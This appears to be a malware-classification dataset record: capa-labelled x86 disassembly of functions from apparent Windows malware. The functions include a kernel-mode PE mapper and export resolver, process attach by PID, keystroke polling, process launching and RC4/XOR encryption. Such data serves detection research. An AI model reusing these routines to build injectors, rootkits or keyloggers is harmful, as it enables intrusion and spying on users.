joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141c0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x16180
push 0x15588
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov dword [ebp - 0x2c], 0
jmp 0x141fc
mov dword [ebp - 0x38], 0xc000000d
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push eax
push 0
lea ecx, [ebp - 0x2c]
push ecx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov edx, dword [ebp - 0x2c]
push edx
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x14236
jmp 0x1437a
push 0
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jge 0x14256
jmp 0x1437a
mov edx, dword [ebp - 0x30]
add edx, 4
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], 0xc000000d
mov ecx, dword [ebp + 8]
cmp dword [ecx + 8], 0xffffffff
jne 0x14296
push 0x11c
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov dword [ebp - 0x38], 0
jmp 0x1437a
mov ecx, dword [ebp + 8]
cmp dword [ecx + 8], 0
jne 0x14310
mov dword [ebp - 0x24], 0
jmp 0x142b1
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax]
jae 0x1430e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x1a]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
mov edx, dword [ebp - 0x28]
movzx eax, word [edx + 0x1a]
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x1c
push ecx
call fcn.000143d0
test eax, eax
je 0x14300
push 0x11c
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov dword [ebp - 0x38], 0
jmp 0x1430e
mov ecx, dword [ebp - 0x28]
add ecx, 0x11c
mov dword [ebp - 0x28], ecx
jmp 0x142a8
jmp 0x1437a
mov dword [ebp - 0x24], 0
jmp 0x14322
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [eax]
jae 0x1437a
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x28]
mov ecx, dword [edx + 8]
cmp ecx, dword [eax + 8]
jb 0x1436c
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 8]
mov ecx, dword [ebp - 0x28]
add eax, dword [ecx + 0xc]
mov edx, dword [ebp + 8]
cmp dword [edx + 8], eax
ja 0x1436c
push 0x11c
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov dword [ebp - 0x38], 0
jmp 0x1437a
mov edx, dword [ebp - 0x28]
add edx, 0x11c
mov dword [ebp - 0x28], edx
jmp 0x14319
mov dword [ebp - 4], 0xffffffff
call fcn.00014388
jmp 0x1439b
jmp 0x143ab
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x14670
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
jmp 0x14688
mov dword [ebp - 0x48], 0x18
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0x240
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
push 0
push 0
push 0x800
push 1
push 0
push 0x80
push 0
lea edx, [ebp - 0x58]
push edx
lea eax, [ebp - 0x48]
push eax
push 0x80000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jge 0x146f8
mov edx, dword [ebp + 8]
mov dword [edx], 0
xor eax, eax
jmp 0x147ce
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0x200
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0x8000000
push 2
push 0
lea edx, [ebp - 0x2c]
push edx
push 4
mov eax, dword [ebp + 8]
add eax, 4
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jge 0x1475b
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0
xor eax, eax
jmp 0x147ce
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x5c], 0
push 2
push 0
push 1
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
push 0
mov edx, dword [ebp + 8]
add edx, 8
push edx
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jge 0x147b8
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
xor eax, eax
jmp 0x147ce
jmp 0x147c8
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x147e0
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x3c], 0
mov dword [ebp - 8], 0
mov byte [ebp - 0x2e], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 0xf8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x18
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [0x17aec]
mov edx, dword [ecx + 0x14]
mov eax, dword [edx]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 4]
mov dword [ecx + 0x1c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x38]
mov dword [edx + 0x20], ecx
lea edx, [ebp - 8]
push edx
push 4
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jge 0x1487f
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 0xc]
jmp 0x1490d
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
mov byte [ebp - 0x2d], al
movzx eax, byte [ebp - 0x2d]
test eax, eax
je 0x148b5
mov byte [ebp - 0x2f], 0
mov cl, byte [ebp - 0x2f]
call dword [sym.imp.HAL.dll_KfLowerIrql]
mov byte [ebp - 0x2e], 1
mov cl, byte [ebp - 0x2d]
mov byte [ebp - 0x2f], cl
mov edx, dword [0x17b10]
push edx
mov eax, dword [0x17aec]
push eax
call dword [ebp - 4]
mov dword [ebp - 0xc], eax
movzx ecx, byte [ebp - 0x2e]
test ecx, ecx
je 0x148dc
mov cl, byte [ebp - 0x2f]
call dword [sym.imp.HAL.dll_KfRaiseIrql]
mov byte [ebp - 0x2d], al
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov ecx, dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
cmp dword [ebp + 0xc], 0
je 0x1490a
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x3c]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 8
Function at 0x14920
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x16190
push 0x15588
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffb0
push ebx
push esi
push edi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 4], 0
jmp 0x14971
mov dword [ebp - 0x28], 0
push 0x10
push 0
lea eax, [ebp - 0x50]
push eax
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x44], ecx
lea edx, [ebp - 0x50]
push edx
call fcn.00014670
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x149a5
jmp 0x14ad7
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
add edx, 0xf8
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x5c]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
jne 0x149d6
mov edx, dword [ebp - 0x34]
cmp dword [edx], 0x4550
je 0x149db
jmp 0x14ad7
mov eax, dword [ebp - 0x34]
add eax, 0x18
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx + 0x38]
mov dword [ebp - 0x24], edx
push 0x366164
mov eax, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x14a0c
jmp 0x14ad7
mov ecx, dword [ebp - 0x34]
movzx edx, word [ecx + 6]
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0
je 0x14a5c
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x10], 0
je 0x14a48
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x60]
add eax, dword [edx + 0xc]
push eax
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x30]
add edx, 0x28
mov dword [ebp - 0x30], edx
jmp 0x14a16
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x14a85
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0x3c]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 0xa0]
push edx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx + 0x1c]
push edx
call fcn.00015170
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x80]
push ecx
mov edx, dword [ebp - 0x60]
push edx
call fcn.00014be0
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jge 0x14ac1
jmp 0x14ad7
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x28], eax
jmp 0x14ad7
mov dword [ebp - 4], 0xffffffff
call 0x14ae5
jmp 0x14b07
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x14ff0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
jmp 0x15008
cmp dword [ebp + 8], 0
jne 0x15015
xor eax, eax
jmp 0x15167
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 0x18
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x78]
mov dword [ebp - 0x30], edx
cmp dword [ebp - 0x30], 0
jne 0x15046
xor eax, eax
jmp 0x15167
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x1c], 0
je 0x1506a
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x20], 0
je 0x1506a
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x24], 0
jne 0x15071
xor eax, eax
jmp 0x15167
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
cmp dword [ecx + 4], 0
je 0x1510d
mov dword [ebp - 8], 0
jmp 0x150b0
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0x18]
jae 0x1510b
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
push 1
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
jne 0x15109
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x15167
jmp 0x150a7
jmp 0x15155
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax]
cmp ecx, 1
jle 0x15155
mov edx, dword [ebp + 0xc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x14]
ja 0x15155
mov edx, dword [ebp + 0xc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x18]
movzx edx, word [ecx + 0x10]
sub eax, edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x15167
jmp 0x15165
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x46ba65
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0046bc15
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x46bb63
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x46bb06
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x46bb49
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x46bb1d
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x46bb38
test al, 0x40
je 0x46bb2f
mov ecx, dword [edi + 0x20]
jmp 0x46bb36
test al, 0x80
je 0x46bb49
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x46bb49
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x46bad5
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x40e000
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c3eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00461143
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40e082
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045eefa
mov eax, dword [eax]
push 0x59f210
push eax
call fcn.00451bc4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004613ce
test bl, bl
je 0x40e082
push 0x59f210
lea ecx, [esp + 0xc]
call fcn.0046175e
push 0x5a2d68
lea ecx, [esp + 0xc]
call fcn.0046175e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40e0be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004613ce
jmp 0x40e189
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40e142
lea edx, [esp + 0x7c]
push 0x5a2d64
push edx
call fcn.00451bc4
add esp, 8
test eax, eax
je 0x40e142
lea eax, [esp + 0x7c]
push 0x5a2d60
push eax
call fcn.00451bc4
add esp, 8
test eax, eax
je 0x40e142
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40e0d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004613ce
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e980
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e9e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e9f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c46b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5a9290]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40eb28
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40ea56
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004613ce
xor eax, eax
jmp 0x40eb9f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046150b
push esi
lea ecx, [esp + 0xc]
call fcn.0046179a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40eb7d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040e980
test eax, eax
jne 0x40eb7d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040e980
test eax, eax
jne 0x40eb7d
lea eax, [esp + 0x14]
push 0x5a2d7c
push eax
call fcn.00452cd0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40eb5c
lea ecx, [esp + 0x14]
push 0x5a2d78
push ecx
call fcn.00452c50
mov esi, eax
add esp, 8
test esi, esi
jne 0x40eb5c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40eb5f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004614bb
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40ea6e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004613ce
xor eax, eax
jmp 0x40eb9f
mov byte [esi], 0
push 0x5a2d74
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004613ce
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41f4c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41f52e
cmp si, 0x69
ja 0x41f52e
add esi, 0xffd0
cmp si, 0x11
je 0x41f4fe
push 0x11
call edi
test ax, ax
jge 0x41f4fe
or esi, 0x2000
cmp si, 0x10
je 0x41f513
push 0x10
call edi
test ax, ax
jge 0x41f513
or esi, 0x4000
cmp si, 0x12
je 0x41f528
push 0x12
call edi
test ax, ax
jge 0x41f528
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41f53b
mov esi, 0xbd
jmp 0x41f4ef
cmp si, 0x6e
jne 0x41f548
mov esi, 0xbe
jmp 0x41f4ef
cmp si, 0x6f
jne 0x41f4e9
mov esi, 0xbf
jmp 0x41f4ef

Function at 0x420cf0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5b9938]
xor edx, edx
cmp eax, edx
jne 0x420d16
xor eax, eax
mov byte [eax + 0x5b9838], al
inc eax
cmp eax, 0x100
jl 0x420cfe
mov dword [0x5b9938], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5b9838
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x420da7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x420d7a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420d48
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x420e73
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x420e5a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret